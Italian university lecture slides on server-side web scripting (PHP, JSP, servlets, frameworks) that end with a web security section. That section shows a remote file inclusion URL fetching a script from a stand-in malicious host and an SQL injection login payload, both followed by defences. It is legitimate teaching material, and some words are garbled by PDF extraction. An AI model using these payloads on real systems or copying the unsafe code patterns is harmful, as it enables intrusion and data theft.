Scripting server-side - I Le tecnologie di scripting server-side ci permettono di scrivere pagine Web che contengono: • codice HTML (+ eventuale codice Javascript) inviato al client (browser) che lo interpreta • codice di scripting server-side, interpretato dal server: al client (browser) viene inviato il risultato dell'interpretazione (elaborazione), cioè – in linea di massima – codice HTML rispetto alle tre distinzioni viste prima, le tecnologie di scripting server-side: utilizzano linguaggi di scripting servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è elaborato sul server) a.a. 2013/14 Tecnologie Web 1 Scripting server-side - II Le tecnologie server-side (in generale, e gli script server-side in particolare) servono principalmente per: 1. acquisire informazioni dal client, per es: dati inseriti dall'utente dall utente in un modulo online; dati contenuti in un link [1] 2. inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) [2] Per far funzionare gli script server-side è necessario che il Web server "supporti" la tecnologia utilizzata è necessario che il Web server se ve contenga co e g u un interprete e p e e per pe il linguaggio gu gg o d di scripting prescelto [3] Inoltre, siccome tipicamente gli script server-side interagiscono con un database è necessario che sul "server" ci sia un DBMS[2] che supporti l'interazione con il database prescelto a.a. 2013/14 Tecnologie Web 2 1 Scripting server-side - III nome = maria [1] eta = 18-25 insert.php HTTP ... request q Web Server [3] Interprete HTTP response (es. PHP) <?php p p $nome=$_POST["nome"]; $eta=$_POST["eta"]; ... //inserimento nel DB ?> a.a. 2013/14 Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Ho inserito i tuoi dati... ... [2] DBMS (es: MySQL Server) DB INSERT INTO utenti VALUES ($nome, $eta) Tecnologie Web [1] 3 Inviare dati al Web Server - I I dati da inviare al Web Server possono derivare da: • moduli online (form) • link con parametri Il client invia i dati al Web Server inserendoli nell nell'HTTP HTTP request Esistono due modi per codificare i dati nell'HTTP request: • metodo GET • metodo POST vediamo: 1. moduli online (form) 2. link con parametri 3. contenuto di HTTP request 4. differenza tra i metodi GET e POST a.a. 2013/14 Tecnologie Web 4 2 [1] Inviare dati al Web Server - II Moduli online (form) In HTML... <FORM METHOD="POST" METHOD= POST ACTION="id.php" > Login: <INPUT TYPE="TEXT" NAME="login"/> Password: <INPUT TYPE="PASSWORD" NAME="pwd"/> <INPUT TYPE="Submit" VALUE="OK"/> </FORM> ... un modulo online (form) contiene: a. campi di input (tag <INPUT...> e altri) b. metodo (attributo METHOD del tag <FORM...>) c. azione (attributo ACTION del tag <FORM...>) a.a. 2013/14 [1] a. Tecnologie Web 5 Inviare dati al Web Server - III campi di input = elementi attraverso cui l'utente fornisce dei dati, per es: tra i campi di input c'è anche il pulsante di invio! b. c. metodo = modo in cui vengono codificati i dati da inviare al server azione i = script i (o ( programma)) che h "raccoglie" " li " edd "elabora" i dati contenuti nel form a.a. 2013/14 Tecnologie Web 6 3 [1] Inviare dati al Web Server - IV Contenuto di HTTP request Cosa succede quando l'utente fa click sul pulsante di invio? Viene costruita una HTTP request che contiene: indicazione della risorsa server server-side side (script o • ll'indicazione programma) che "gestirà" i dati, ricavata dall'attributo ACTION, per es: ACTION="id.php" • i dati, nella forma di coppie <nome, valore>, ricavati dai campi di input riempiti/selezionati dall'utente Per es: HTTP request: risorsa = identif.php g admin> dati: <login, <pwd, pippo> All'interno di HTTP request i dati (parametri) possono essere codificati in due modi, a seconda dell'indicazione contenuta nell'attributo METHOD del tag <FORM...>... a.a. 2013/14 Tecnologie Web [1] 7 Inviare dati al Web Server - V Differenza tra i metodi GET e POST • metodo GET: i dati, cioè le coppie <nome, valore>, sono scritti in coda alla risorsa saranno quindi visibili nell'URL (nella barra degli indirizzi del browser) Per es: HTTP header risorsa = identif.php ?login=admin&pwd=pippo ... HTTP body ... • metodo POST: i dati (parametri), cioè le coppie <nome, valore>, sono scritti all'interno del corpo p ((body) y) di HTTP request non saranno quindi HTTP header visibili nella barra degli risorsa = identif.php indirizzi del browser Per es: ... a.a. 2013/14 HTTP body dati: <login, admin> <pwd, pippo> Tecnologie Web... 8 4 Inviare dati al Web Server - VI [1] Link con parametri In HTML... <A HREF="param.php?risposta=alan">Alan</A> <BR> <A HREF="param.php?risposta=kit">Kit</A> <BR> <A HREF="param.php?risposta=john">John</A> Cosa succede quando l'utente fa click sul un link? Viene costruita una HTTP request che contiene: HTTP header risorsa = param.php param php ?risposta ?risposta=kit kit ... HTTP body ... NB l'indicazione della risorsa server-side (script o programma) è nel link (attributo HREF), insieme ai dati il metodo usato nell'HTTP request per la codifica dei dati è GET! a.a. 2013/14 [1] Tecnologie Web 9 Inviare dati al Web Server - VII Vi ricordate l'URL rewriting, utilizzato per gestire la sessione se i cookies sono stati disattivati? Avevamo detto che il Web Server scrive il session-id come parametro degli URL presenti nella pagina... Ora siamo in grado di capire cosa vuol dire: quando il client deve costruire un'HTTP request (per es. quando l'utente clicca su un link), all'URL (risorsa) indicata nell'HTTP request viene aggiuto il session-id; per es: <A HREF="adduser.php"> diventa: <A HREF="adduser.php?PHPSESSID=68cf093a2ec5aa4f6cb60"> a.a. 2013/14 Tecnologie Web 10 5 [2] Digressione: database - I • I database ci permettono di salvare dati in modo strutturato • Esistono diverse tipologie di database, basate su principi di strutturazione diversi: database relazionali, database ad gg , ... oggetti, • I tipi di database più utilizzati sono i database relazionali • La struttura di un database relazionale (quali tipi di informazioni contiene, quali relazioni hanno le informazioni tra loro, ...) può essere definita a vari livelli: vista 1 vista 2 vista n livello concettuale livello logico livello fisico a.a. 2013/14 Tecnologie Web [2] Digressione: 11 database - II Livello logico: rappresentazione tabellare dei dati Esempio: colonna/campo Tabella: LIBRI N.Inv Autore Titolo Anno_ed Casa_ed riga/record cella Quando vogliamo costruire una tabella, dobbiamo innanzitutto definire la sua struttura: i nomi dei campi (colonne) e i tipi di dati in essi contenuti a.a. 2013/14 Tecnologie Web 12 6 [2] Digressione: database - III Interazione con un database (utente, tramite una User Interface, o script server-side/programma): • interrogazione (leggo da DB) • inserimento di dati (scrivo nel DB) • cancellazione di dati ("scrivo" nel DB) • aggiornamento User Interface (scrivo nel DB) database Script (server-side) <? $c=mysql_connect("localhost“,"root",""); mysql_select_db("bacheca"); $sql="SELECT * FROM ut WHERE co='Rossi'"; $ris = mysql_query($sql) ... ?> a.a. 2013/14 Tecnologie Web [2] Digressione: 13 database - IV Ogni interazione con la base di dati: – viene interpretata, analizzata ed eseguita dal DBMS (DataBase Management System) – costituisce una query, espressa (direttamente oppure tradotta) in SQL (Structured Query Language), es: SELECT * FROM libri WHERE editore='Feltrinelli' INSERT INTO utenti VALUES (nome, eta) – restituisce come risultato un insieme di record (recordset), es: n.inv autore titolo casa_ed 123 456 789 a.a. 2013/14 Allende Eva Luna Feltrinelli Terra Feltrinelli Benni Feltrinelli Voltolini 10 Tecnologie Web 14 7 Scripting server-side - IV Le principali tecnologie di scripting server-side sono: • PHP: open source [www.php.net] • JSP (Java Server Pages): di Sun Microsystems/Oracle [www.oracle.com/technetwork/java/javaee/jsp/index.html] • ASP.NET [www.asp.net]: complesso framework di Microsoft per lo sviluppo di pagine ed applicazioni Web che include anche meccanismi di scripting server-side (ma non è limitato a questi), es. con i linguaggi Visual Basic o C# A cui si sono aggiunti, recentemente, due linguaggi di programmazione molto usati come linguaggi di scripting (server-side): • Python: open source (Python Software Foundation) [www.python.org] • Ruby: open source [www.ruby-lang.org] a.a. 2013/14 Tecnologie Web 15 Scripting server-side: PHP - I Pagina PHP = file di testo, con estensione .php, che può contenere: – Codice HTML (+ event. Javascript) – Codice PHP (= script server-side) Esempio: ... <P ALIGN="CENTER"> HTML (interpretato <FONT FACE="Verdana" SIZE="3"> dal browser) <B>Prova form 1 (php)</B></FONT> </P> <? script PHP $id = $_POST["login"]; (interpretato $pwd = $ $_POST[ POST["password"]; password ]; if ($id == "admin" && $pwd == "pippo") { dall'interprete echo "<P>Benvenuto amministratore!</P>";} PHP, sul server) else { echo "<P>Buongiorno ".$id."</P>";} ?> ... a.a. 2013/14 Tecnologie Web 16 8 Scripting server-side: PHP - II Tipicamente: sistema web server DBMS interprete script operativo server-side Linux Apache MySQL PHP L. A. M. P. Linux (www.linuxfoundation.org) Apache (www.apache.org) MySQL (www.mysql.com) PHP (www.php.net) tutte tecnologie Open Source[*] NB: sono possibili combinazioni diverse... Per es: Windows + Apache + MySQL + PHP = W.A.M.P. Mac OS + Apache + MySQL + PHP = M.A.M.P. a.a. 2013/14 Tecnologie Web [*] Digressione: 17 Open Source - I Breve parentesi sull'open source [www.opensource.org] Open Source Initiative (OSI) = associazione no-profit che ha ll'obiettivo obiettivo di gestire e promuovere la produzione di software open source Il software open source (o software libero) deve rispettare una serie di criteri: • • • • • a.a. 2013/14 Il codice sorgente del programma deve essere disponibile Il software può essere modificato e distribuito (con un nome diverso) alle stesse condizioni La licenza del software deve consentire a chiunque di ridistribuire il software secondo le stesse modalità Chiunque può partecipare allo sviluppo del software Il software deve essere distribuito gratuitamente (senza diritti d'autore o profitti) Tecnologie Web 18 9 [*] Digressione: Open Source - II L'idea che sta alla base dell'Open Source Initiative è la seguente: quando i programmatori hanno la possibilità di leggere, modificare e ridistribuire il codice sorgente di un programma quel software si evolve programma, evolve. La gente lo migliora, migliora lo adatta, lo corregge. E tutto questo può avvenire con una rapidità che appare impressionante a chi è abituato ai ritmi lenti dello sviluppo del software convenzionale. La comunità dell'open source ha imparato che questo rapido processo evolutivo produce software migliore rispetto al tradizionale modello chiuso, nel quale solo pochissimi hi i i programmatorii hanno h accesso all codice di sorgente e tutti gli altri devono avere a che fare con un imperscrutabile e oscuro blocco di bit. [da www.opensource.org] a.a. 2013/14 Tecnologie Web 19 Scripting server-side: JSP - I JSP (Java Server Page) = file di testo, con estensione .jsp che può contenere: – Codice HTML (+ event. Javascript) – Codice Java, oppure tag JSTL (JSP Standard Tag Library = libreria di tag che corrispondono ad istruzioni Java) Esempio: ... <P ALIGN="CENTER"> HTML (interpretato <FONT FACE="Verdana" SIZE="3"> <B>Prova JSP/JSTL (sql)</B></FONT> dal browser) </P> <sql:setDataSource driver="com.mysql.jdbc.Driver" JSTL url="jdbc:mysql://localhost/database_name" tags var="localSource" user="database_user" password="database_password"/> <sql:query dataSource="${localSource}" sql="SELECT * FROM products WHERE price > 100" var="result" /> ... a.a. 2013/14 Tecnologie Web 20 10 Scripting server-side: JSP - II Note: • Java è un linguaggio di programmazione, che viene (apparentemente) utilizzato anche come linguaggio di scripting... p g • I tag JSTL assomigliano ai tag di un linguaggio di mark-up... ma non lo sono! Vengono infatti tradotti in istruzioni Java Infatti... il funzionamento delle JSP è diverso rispetto alle altre tecnologie di scripting (es. PHP): una JSP viene tradotta in una Java Servlet, cioè un programma Java che viene poi automaticamente compilato ed eseguito: la sua esecuzione genera la pagina Web Vediamo cosa sono le Servlet, poi torniamo a vedere come funzionano le JSP... a.a. 2013/14 Tecnologie Web 21 Java Servlet - I Le Java Servlet (www.oracle.com/technetwork/java/index-jsp5475.html) sono dei programmi Java pensati per la programmazione sul Web 13 • li si deve poter invocare "attraverso" attraverso il Web Server (per es. es tramite un URL) • devono essere in grado di manipolare HTTP (request e response); in particolare: il Web Server deve poter passare al programma la HTTP request proveniente dal client (browser) contenente i dati, affinché la Servlet possa leggerne il contenuto quando la Servlet ha elaborato il risultato (per es. un frammento di codice HTML), lo mette dentro all'HTTP response che verrà inviata al client (browser) dal Web Server a.a. 2013/14 Tecnologie Web 22 11 Java Servlet - II Le Servlet (come le tecnologie di scripting server-side) servono principalmente per: 1. acquisire informazioni dal client, per es: dati inseriti dall'utente in un modulo online; dati contenuti in un link 2 inserire 2. i i dati d ti in i un database d t b ( (per es. i dati d ti di registrazione it i di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) tutto ciò che abbiamo detto (parlando di scripting server-side) a proposito di: moduli online (form), link con parametri, contenuto di HTTP request, differenza tra GET e POST, vale anche per le Servlet! rispetto alle tre distinzioni viste prima, le Servlet sono programmi Java, che è un linguaggio di programmazione servono a scrivere pagine "dinamiche" sono eseguiti server-side (il codice è eseguito sul server) a.a. 2013/14 Tecnologie Web 23 Java Servlet - III Per costruire un'applicazione Web basata sulle Servlet è necessario un Servlet Container (o Web Container o Servlet Engine) che: – "carica" le Servlet nel processo del Web Server (alla prima invocazione della Servlet) – supporta il protocollo HTTP (per gestire il flusso HTTP request/HTTP response) – gestisce al suo interno più applicazioni, ognuna identificata da un servlet context (nome univoco) a.a. 2013/14 Tecnologie Web 24 12 Java Servlet - IV nome = maria eta = 18-25 "inserisci" ... HTTP request Web Server Servlet HTTP Container response SERVLET inserisci DBMS Print("Ciao,"+nome); ... //inserimento nel DB /*invia ris in HTTPresponse*/ (es: MySQL Server) Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Ciao Maria! Maria! Ho inserito i tuoi dati... ...… DB INSERT INTO utenti VALUES ($nome, $eta) Applicazione Web a.a. 2013/14 Tecnologie Web 25 Java Servlet - V Tipi di Servlet Container: • Servlet Container incluso nel Web server: alcuni Web server ((scritti in Java)) includono un Servlet Container;; per es: Tomcat [vedi prossima slide] • Servlet Container in J2EE Application Server: esiatono degli Application Server che includono un Web server e un Servlet Container; per es: Glassfish [vedi prossima slide] • Servlet Container in "runtime" runtime separato: Web server come Apache e Microsoft IIS necessitano di un Servlet Container in un modulo separato per gestire le Servlet (+ un plug-in che gestisce la comunicazione tra Web server e Servlet Container) a.a. 2013/14 Tecnologie Web 26 13 Java Servlet - VI Tomcat (tomcat.apache.org) Tomcat è un Web server open source, sviluppato dalla Apache Software Foundation, che include un Servlet Container Glassfish (glassfish.java.net) GlassFish è un Application Server[*] open source, sviluppato inizialmente dalla Sun Microsystems e attualmente gestito dalla Oracle; include un Web server e un Servlet Container [*] Application A li ti Server S = software ft che h comprende d diverse di funzionalità per la gestione di applicazioni complesse; tipicamente, include un Web server a.a. 2013/14 Tecnologie Web 27 Scripting server-side: JSP - III Torinamo alle JSP e cerchiamo di capire come funzionano... Alla prima richiesta di una pagina JSP, viene invocato un Compilatore JSP che crea una Java Servlet: p ) in – trasforma i tagg HTML ((e le eventuali istruzioni Javascript) istruzioni Java che scrivono nel body della HTTPresponse (quindi sulla pagina Web che sarà visualizzata dal browser) es: <P ALIGN='CENTER'> PrintWriter pw; pw = httpResp.getWriter(); pw.print("<P ALIGN='CENTER'>"); – se la JSP contiene direttamente codice Java, lo include nella Servlet – se la JSP contiene tag JSTL, li traduce in istruzioni Java e le include nella Servlet a.a. 2013/14 Tecnologie Web 28 14 Scripting server-side: JSP - IV per far funzionare le JSP è necessaria la stessa tecnologia che si usa per le Java Servlet (un Web server con un Servlet Container) + un compilatore JSP (motore JSP), che traduce la JSP in una Servlet Tomcat e Glassfish contengono, oltre al Servlet Container, anche il motore JSP a.a. 2013/14 Tecnologie Web 29 Scripting server-side: ASP - I • ASP.NET = framework (gratuito) che supporta la costruzione di applicazioni Web (pagine Web con estensione .aspx) • nel framework .NET possono essere utilizzi diversi linguaggi di scripting/programmazione: i ti / i il più iù usato t è Vi Visuall C# • Visual Studio = ambiente di sviluppo integrato (IDE) di Microsoft per sviluppare applicazioni Web, mobile e Windows in ambiente .NET comprende: – .NET Framework – IIS (Web Server) – SQL Server (DBMS) • Visual Studio include anche delle librerie client-side (per inserire script Javascript, AJAX, JQuery, ...) • Visual Studio Express = versione gratuita per sviluppare app. Web (scaricabile da www.asp.net, Get Started) a.a. 2013/14 Tecnologie Web 30 15 Python - I • Python (www.python.org) è linguaggio di programmazione utilizzabile anche come linguaggio di scripting (server-side) • L La sua implementazione i l i di base b (CPython, (CP h reference f implementation) è open source ed è gestita dalla Python Software Foundation (www.python.org/psf) • Supporta diversi paradigmi di programmazione (objectoriented, procedurale, ecc.) • Utilizza un approccio "misto" (come Java): il codice sorgente viene i compilato il i un linguaggio in li i intermedio i di (bytecode), specifico di Python, il quale viene poi interpretato ed eseguito dall'interprete (Virtual Machine) a.a. 2013/14 Tecnologie Web 31 Python - II • E' uno dei 4 linguaggi utilizzati da Google (insieme a Javascript, Java e C++), è il principale linguaggio con cui è implementato YouTube, è usato al CERN e alla NASA, ... • Nel download di Python (che comprende compilatore e interprete) è incluso anche un ambiente di sviluppo (un IDE: vedi prossime slide) chiamato IDLE a.a. 2013/14 Tecnologie Web 32 16 Ruby • Ruby (www.ruby-lang.org) è linguaggio di programmazione sostanzialmente utilizzato come linguaggio di scripting (server-side), creato in Giappone all'inizio all inizio degli anni '90 90 • E' open source • E' un linguaggio object-oriented (ma supporta diversi paradigmi di programmazione) • E' un linguaggio interpretato www.techotopia.com/index.php/Ruby Essentials • Una guida: www.techotopia.com/index.php/Ruby_Essentials a.a. 2013/14 Tecnologie Web 33 Integrated Development Environments (IDE) • IDE = Integrated Development Environment = strumento software che offre diverse funzionalità integrate a supporto della programmzione • Ti Tipicamente i t include: i l d – un editor per scrivere/modificare il codice sorgente – compilatori/interpreti e strumenti per la corretta creazione dell'applicazione finale (es. file di configurazione, ecc.) – strumenti per il "debugging", cioè per la ricerca e la correzione degli errori (("bug" bug = errore nel software) • Alcuni IDE sono dedicati ad un singolo linguaggio di programmazione, altri supportano più linguaggi a.a. 2013/14 Tecnologie Web 34 17 IDE: NetBeans • NetBeans (https://netbeans.org/) nasce alla Sun Microsystems ed è ora della Oracle • NetBeans nasce come IDE per Java, ma è stato poi esteso per supportare vari altri linguaggi per sviluppare applicazioni W b tra cuii Javascript, Web, J i PHP, PHP a.a. 2013/14 Tecnologie Web 35 IDE: Eclipse • Eclipse (www.eclipse.org) è un IDE open source, multilinguaggio, molto utilizzato per sviluppare applicazioni (Web) Java • Può essere esteso per supportare diversi linguaggi (per es. PHP, P ht Ruby, Pyhton, R b Javascript) J i t) e tipi ti i di applicazioni li i i (es. ( applicazioni li i i per smartphone) con l'aggiunta di opportuni plug-in a.a. 2013/14 Tecnologie Web 36 18 Software frameworks - I • Software framework (o semplicemente framework) = ambiente software che offre dei "template" ("modelli") astratti di codice che offrono funzionalità generiche e che possono essere modificati dal programmatore che aggiunge codice specifico, così da implementare funzionalità specifiche per sviluppare applicazioni Generalmente un framework comprende anche compilatori/interpreti, librerie, e moduli che aiutano il programmatore nello sviluppo di un'apllicazione complessa • Web Application Framework (WAF) = software framework per lo svuiluppo di applicazioni Web Generalmente un WAF comprende librerie per l'accesso a database, la gestione delle sessioni, ecc. a.a. 2013/14 Tecnologie Web 37 Software frameworks - II Frameworks (WAF) per PHP • Esistono molti framework per PHP • Uno dei più famosi è Zend Framework (framework.zend.com) • Un articolo comparativo: p www.html.it/articoli/framework-php-una-comparazione-1/ • Vedi anche: www.phpframeworks.com Frameworks (WAF) per Python • Esistono diversi framework per Python • Il più famoso è Django (www.djangoproject.com/) • Un elenco: https://wiki.python.org/moin/WebFrameworks p py g Frameworks (WAF) per Ruby • Esistono diversi framework per Ruby • Il più famoso è sicuramete Ruby on Rails, o Rails (rubyonrails.org) a.a. 2013/14 Tecnologie Web 38 19 La sicurezza sul Web: introduzione - I La sicurezza nelle applicazoni Web • I programmi, soprattutto se di grandi dimensioni, possono contenere errori (bugs, "bachi") e alcuni errori possono rappresentare "falle di sicurezza" • Le falle di sicurezza rappresentano dei punti di ingresso per terze parti provenienti dall'esterno, a cui è fornita la possibilita di acquisire dati o alterare il funzionamento dell'applicazione Intrusione = accesso non pprevisto ad un programma, p g , con lo scopo di prelevare dati nascosti o modificarne il funzionamento; es: furto di dati personali (documenti, credenziali per l'accesso, contatti e dati anagrafici) custoditi all'interno di database non protetti a sufficienza a.a. 2013/14 Tecnologie Web 39 La sicurezza sul Web: introduzione - II • Le motivazioni di un'intrusione possono essere varie, dalla sfida personale alla truffa vera e propria • Per ridurre la possibilità di intrusioni bisogna "mettere in sicurezza" ll'applicazione sicurezza applicazione per implementare un'applicazione web sicura sono necessari tempo ed energie, che spesso vengono invece spesi solo quando si presentano i problemi… • La messa in sicurezza di un'applicazione dovrebbe invece seguire di pari passo la progettazione, per evitare di dover inserire successivamente costose e meno funzionali ppatch a.a. 2013/14 Tecnologie Web 40 20 La sicurezza sul Web: introduzione - III ATTACCHI: esistono diversi modi per attaccare un'applicazione web: accenniamo solo ad alcuni esempi: attacchi in fase di autenticazione attacchi in fase di autorizzazione iniezioni di codice DIFESE E MESSA IN SICUREZZA: progettazione di applicazioni sicure: accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio: test audiovisivi validazione dell'input sicurezza della sessione a.a. 2013/14 Tecnologie Web 41 Attacchi: autenticazione - I Autenticazione = processo tramite il quale un programma verifica le credenziali di un computer/programma/utente Tecniche di intrusione basate su debolezze dei meccanismi di autenticazione per ottenere i dati di accesso (credenziali): • Brute force: – processo automatico per tentativi ed errori – tramite la generazione casuale di stringhe o l'utilizzo di appositi dizionari, effettua reiterati tentativi per indovinare dati come username, password, numeri di carte di credito, … a.a. 2013/14 Tecnologie Web 42 21 Attacchi: autenticazione - II • Autenticazione insufficiente: – vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito – per es: un'applicazione web che implementa un'area riservata inserendola in una cartella o in un file non linkato nella home, accessibile solo a chi ne conosce il percorso, senza altre protezioni • Sistema debole per il recupero e validazione della password: – recupero password non sicuro – per es: a chi hi dimentica di ti la l passwordd vengono richiesti i hi ti alcuni dati personali inseriti in fase di registrazione (email, domicilio, numero di telefono, …); ricavare queste informazioni è spesso facile per chi conosce la vittima che intende colpire a.a. 2013/14 Tecnologie Web 43 Attacchi: autorizzazione - I Autorizzazione = metodo con cui vengono controllate le credenziali di un utente/applicazione e stabilite le possibilità di accesso a certe operazioni (verifica dei "privilegi") Tecniche di intrusione basate su debolezze dei meccanismi di autorizzazione per falsificare i propri privilegi: • Session hijacking: "dirottamento della sessione" – consiste nel ricavare l'ID di sessione di uno degli utenti collegati in quel momento e sfruttare le sue credenziali per accedere a dati o a sezioni riservate a.a. 2013/14 Tecnologie Web 44 22 Attacchi: autorizzazione - II • Autorizzazione insufficiente: – vulnerabilità che dipende da una cattiva progettazione della sicurezza del sito – per es: un'applicazione web che permette l'accesso a documenti riservati a chi ne conosca il percorso, senza imporre le dovute restrizioni • Terminazione della sessione insufficiente: – quando il sito permette all'utente di riutilizzare un vecchio session ID anche dopo diverso tempo, per evitargli di ripetere frequentemente il login (questo fa sì che h un malintenzionato li t i t abbia bbi più iù tempo t a disposizione di i i per tentare un furto di un session ID) a.a. 2013/14 Tecnologie Web 45 Attacchi: iniezioni di codice - I Iniezioni di codice = inserimento di codice che esegue operazioni anomale non previste dall'autore • Esempio 1: iniezioni PHP (uso incauto di GET e include) http://sito_esempio/esempio.php?include_script=previsto.php – l'URL di connessione alla pagina esempio.php contiene il parametro include_script, il cui valore è il (percorso del) file che contiene lo script da inserire all'interno del codice (previsto.php) – all'interno di esempio.php leggiamo il valore del parametro include_script senza alcun controllo sul tale valore!! include ($_GET["include_script"]); rendiamo possibile inoculare, per es, lo script malevolo.php residente id t sull sito it sito_malevolo.com it l l !!! Per farlo è infatti sufficiente connettersi a: http://sito_esempio/esempio.php?include_script= http%3A%2F%2Fsito_malevolo.com%2Fmalevolo.php : / / / a.a. 2013/14 Tecnologie Web 46 23 Attacchi: iniezioni di codice - II • Esempio 2: iniezioni SQL (uso incauto di POST) L'utente inserisce nel form caratteri "strani", per es: Username: ' OR ' ' = ' Password: ' OR ' ' = ' – all'interno della nostra pagina PHP leggiamo i valore inseriti dall'utente e li usiamo per interrogare il database (fare una query SQL) senza alcun controllo sul tali valori!! $query = "SELECT SELECT * FROM dati_utenti dati utenti WHERE username = '".$user."' AND password = ".$pass."'"; – la nostra interrogazione (query) seleziona tutti i record della tabella! l'utente malintenzionato può stampare sul proprio browser tutto il contenuto della tabella del database con i dati degli utenti!!! a.a. 2013/14 Tecnologie Web 47 Difese: test audiovisivi - I Spesso, per cercare automaticamente le falle di un sistema, vengono utilizzati dei programmi che effettuano un'analisi (automatica) dei punti vulnerabili del sistema (NB: possono essere usati sia per intrusione, sia per la ricerca preventiva ti di possibili ibili falle f ll di sicurezza...) i ) Difesa contro gli strumenti di analisi automatica: • esistono diverse possibili azioni preventive • ne citiamo solo una a titolo esemplificativo: i CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) – bbasato sull'idea ll'id del d l test t t di Turing T i (porre ( ddomande d che permettano di capire se l’interlocutore è un umano o una macchina) a.a. 2013/14 Tecnologie Web 48 24 Difese: test audiovisivi - II – la forma più comune di CAPTCHA è visiva: vengono mostrati all’utente lettere e numeri distorti in modo da eludere gli OCR (Optical Character Recognition: programmi dedicati al riconoscimento di un'immagine contenente t t testo) t t ) – esistono anche forme di CAPTCHA audio a.a. 2013/14 Tecnologie Web 49 Difese: validazione input - I Progettazione di applicazioni sicure (accenniamo solo ad alcune delle tecniche più semplici, a titolo di esempio…) Validazione input Uno U o de dei punti pu t più p ù deboli debo di d uun'applicazione app ca o e Web è l'elaborazione e abo a o e dei dati forniti dall'utente in input (es. nei form; vedi es. prec.) effettuare dei controlli sulle stringhe in input è fondamentale! – Numeri: is_numeric(n) controlla che n sia un numero – Stringhe: validare le stringhe è una questione molto più complessa… esistono due modi principali: ( ) filtrare l'inserimento di specifiche (a) p sequenze q di caratteri,, come i tag HTML, eliminando o ri-codificando le parti della stringa potenzialmente dannose (+ permissivo) (b) accettare solo input che rispettino specifiche regole di formattazione (+ restrittivo) a.a. 2013/14 Tecnologie Web 50 25 Difese: validazione input - II (a) L'utente può inserire apici singoli (') e doppi (") Possibile difesa: funzioni di escape Escape = anteposizione di un carattere di escape, generalmente il backslash (\), ad alcuni caratteri che hanno significati particolari (per esempio gli apici); la presenza del carattere di escape comunica all’interprete all interprete di non interpretare ciò che segue Nel precedente es. di iniezione di codice SQL, utilizzando delle funzioni di escape sull'input fonito dall'utente nel form si evita di scrivere (involontariamente) una query "dannnosa": $query = "SELECT * FROM dati_utenti WHERE username = '".mysql_real_escape_string($user)."' AND password = ".mysql_real_escape_string($pass)."'"; Analogamente, A l l'l'utente può ò iinserire i nell form f caratterii speciali i li (es. tag HTML) con lo scopo di far eseguire codice malevolo Possibile difesa: funzioni che eliminano i tag HTML dalla stringa in input, oppure trasformano i caratteri speciali secondo la sintassi HTML (< diventa &lt; ecc…); a.a. 2013/14 Tecnologie Web 51 Difese: validazione input - III (b) Controlli sull'input: • si può, per es, controllare la lunghezza (e il tipo) delle stringhe in input (con delle apposite funzioni) • si possono usare delle whitelist controllare che i dati (stringhe) appartengano ad una lista predefinita (per es, controllo che l'input appartenga alla whitelist lunedì, martedì, mercoledì, giovedì, venerdì a.a. 2013/14 Tecnologie Web 52 26 Difese: sicurezza della sessione - I Sicurezza della sessione • La misura di sicurezza più semplice è utilizzare i cookies come mezzo di trasporto del session ID, inibendo l'URL rewriting (rendendo così il session hijacking molto più difficile da realizzare): per farlo occorre modificare la configurazione del modulo PHP • Una soluzione più efficace è la rinegoziazione del session ID ogni volta che viene inizializzata una sessione (session regeneration): la funzione session_regenerate_id() genera un nuovo session ID non prevedibile, ri-creando il cookie che ne contiene il valore • Rotazione del session ID: simile alla session regeneration, ma la generazione del nuovo session ID avviene ad ogni richiesta effettuata problemi,, dall'utente;; è una soluzione molto sicura,, ma ha alcuni p per es: impedisce il funzionamento del tasto back del browser (il back effettua una richiesta con un session ID non più valido in quanto rinegoziato) impedisce il funzionamento corretto di memoria cache o di proxy a.a. 2013/14 Tecnologie Web 53 La sicurezza sul Web: conclusioni • La maggioranza dei problemi di sicurezza delle applicazioni Web è legata alla validazione degli input: impedire che quanto inserito dall'utente possa contenere stringhe dannose significa già aver reso un sito più sicuro • Non si tratta di un'operazione semplice: si deve cercare un compromesso tra – le funzionalità e l'usabilità (che rischiano di venire compromesse da controlli troppo restrittivi) e – la sicurezza NB gli utenti sono pigri! spesso non vogliono dover risolvere un CAPTCHA ad ogni accesso… • Ricordarsi che le scelte di messa in sicurezza dipendono dal tipo di applicazione e di dati trattati! a.a. 2013/14 Tecnologie Web 54 27